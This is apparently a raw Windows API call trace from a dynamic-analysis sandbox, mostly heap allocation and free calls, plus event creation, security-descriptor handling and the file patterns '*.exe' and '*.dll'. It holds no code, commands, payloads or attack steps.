[0253.108] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0xd70048) returned 1 [0253.108] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x6283a8, lpbSaclPresent=0x15f970, pSacl=0x15f9c4, lpbSaclDefaulted=0x15f970 | out: lpbSaclPresent=0x15f970, pSacl=0x15f9c4, lpbSaclDefaulted=0x15f970) returned 1 [0253.108] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c360 [0253.108] CreateEventA (lpEventAttributes=0x15f9b8, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0253.108] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c360) returned 1 [0253.108] GetLastError () returned 0x0 [0253.108] LocalFree (hMem=0x6283a8) returned 0x0 [0253.108] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c360 [0253.109] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x5000) returned 0xd70048 [0253.109] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c318 [0253.109] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c318) returned 1 [0253.109] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0253.109] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0xd70048) returned 1 [0253.109] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x6283a8, lpbSaclPresent=0x15f970, pSacl=0x15f9c4, lpbSaclDefaulted=0x15f970 | out: lpbSaclPresent=0x15f970, pSacl=0x15f9c4, lpbSaclDefaulted=0x15f970) returned 1 [0253.109] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c318 [0253.109] CreateEventA (lpEventAttributes=0x15f9b8, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0253.110] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c318) returned 1 [0253.110] GetLastError () returned 0x0 [0253.110] LocalFree (hMem=0x6283a8) returned 0x0 [0253.110] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c318 [0253.110] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x5000) returned 0xd70048 [0253.110] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c2d0 [0253.110] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c2d0) returned 1 [0253.110] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0253.110] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0xd70048) returned 1 [0253.110] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x6283a8, lpbSaclPresent=0x15f970, pSacl=0x15f9c4, lpbSaclDefaulted=0x15f970 | out: lpbSaclPresent=0x15f970, pSacl=0x15f9c4, lpbSaclDefaulted=0x15f970) returned 1 [0253.110] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c2d0 [0253.110] CreateEventA (lpEventAttributes=0x15f9b8, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0253.111] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c2d0) returned 1 [0253.111] GetLastError () returned 0x0 [0253.111] LocalFree (hMem=0x6283a8) returned 0x0 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2800) returned 0xd70048 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28bb80 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c2d0 [0253.111] Wow64DisableWow64FsRedirection (in: OldValue=0x15f9ec | out: OldValue=0x15f9ec*=0x0) returned 1 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2800) returned 0xd72850 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.111] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28d5e8 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2d8 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1f8 [0253.111] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c1f8) returned 1 [0253.111] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.111] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2d8) returned 1 [0253.111] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d5e8) returned 1 [0253.111] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0xd72850) returned 1 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2800) returned 0xd72850 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.111] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28d5e8 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2d8 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1f8 [0253.111] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2c8 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28d600 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2b8 [0253.111] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1b0 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2a8 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c168 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c1f8) returned 1 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2d8) returned 1 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2c8) returned 1 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d5e8) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28d5e8 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2c8 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2d8 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1f8 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c1b0) returned 1 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2b8) returned 1 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c168) returned 1 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2a8) returned 1 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d600) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28d600 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2a8 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c168 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2b8 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1b0 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2c8) returned 1 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c1f8) returned 1 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2d8) returned 1 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d5e8) returned 1 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28d5e8 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2d8 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1f8 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2c8 [0253.112] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c168) returned 1 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2a8) returned 1 [0253.112] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c1b0) returned 1 [0253.113] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2b8) returned 1 [0253.113] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d600) returned 1 [0253.113] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0xd72850) returned 1 [0253.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28d9d0 [0253.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c1f8, cbMultiByte=5, lpWideCharStr=0x28d9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28da58 [0253.113] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d9d0) returned 1 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28d600 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2b8 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28d9d0 [0253.113] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28da58) returned 1 [0253.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28da58 [0253.113] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x28c288, cbMultiByte=5, lpWideCharStr=0x28da58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28dae0 [0253.113] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28da58) returned 1 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2a8 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x28da58 [0253.113] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28dae0) returned 1 [0253.113] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c1f8) returned 1 [0253.113] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2d8) returned 1 [0253.113] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.113] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2c8) returned 1 [0253.113] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d5e8) returned 1 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2800) returned 0xd72850 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.113] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28d5e8 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2c8 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1f8 [0253.113] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2d8 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1b0 [0253.113] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.113] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d298 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c168 [0253.114] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d288 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0253.114] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x20) returned 0x28bc08 [0253.114] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d5e8) returned 1 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d278 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c240 [0253.114] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d268 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0253.114] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d258 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x20) returned 0xd75058 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d248 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c5e8 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d238 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c630 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d228 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c678 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d218 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c6c0 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d208 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c708 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d1e8 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c750 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d1f8 [0253.114] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c798 [0253.114] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c1f8) returned 1 [0253.114] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2c8) returned 1 [0253.114] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c1b0) returned 1 [0253.114] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2d8) returned 1 [0253.114] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c168) returned 1 [0253.114] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d298) returned 1 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d288) returned 1 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c240) returned 1 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d278) returned 1 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d268) returned 1 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d258) returned 1 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bc08) returned 1 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x10) returned 0x28d5e8 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d258 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c288 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d268 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c0d8 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d278 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c240 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d288 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x20) returned 0x28bc08 [0253.115] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d5e8) returned 1 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d298 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c168 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2d8 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1b0 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2c8 [0253.115] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1f8 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c5e8) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d248) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c630) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d238) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c678) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d228) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c6c0) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d218) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c708) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d208) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c750) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d1e8) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c798) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d1f8) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0xd75058) returned 1 [0253.116] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x20) returned 0xd75058 [0253.116] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d1f8 [0253.116] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c798 [0253.116] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d1e8 [0253.116] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c750 [0253.116] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d208 [0253.116] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c708 [0253.116] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d218 [0253.116] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c6c0 [0253.116] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d228 [0253.116] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c678 [0253.116] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d238 [0253.116] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c630 [0253.116] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d248 [0253.116] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c5e8 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c288) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d258) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c0d8) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d268) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c240) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d278) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c120) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d288) returned 1 [0253.116] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c168) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d298) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c1b0) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2d8) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28c1f8) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28d2c8) returned 1 [0253.117] RtlFreeHeap (HeapHandle=0x280000, Flags=0x0, BaseAddress=0x28bc08) returned 1 [0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x20) returned 0x28bc08 [0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2c8 [0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1f8 [0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d2d8 [0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c1b0 [0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d298 [0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c168 [0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x8) returned 0x28d288 [0253.117] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x40) returned 0x28c120 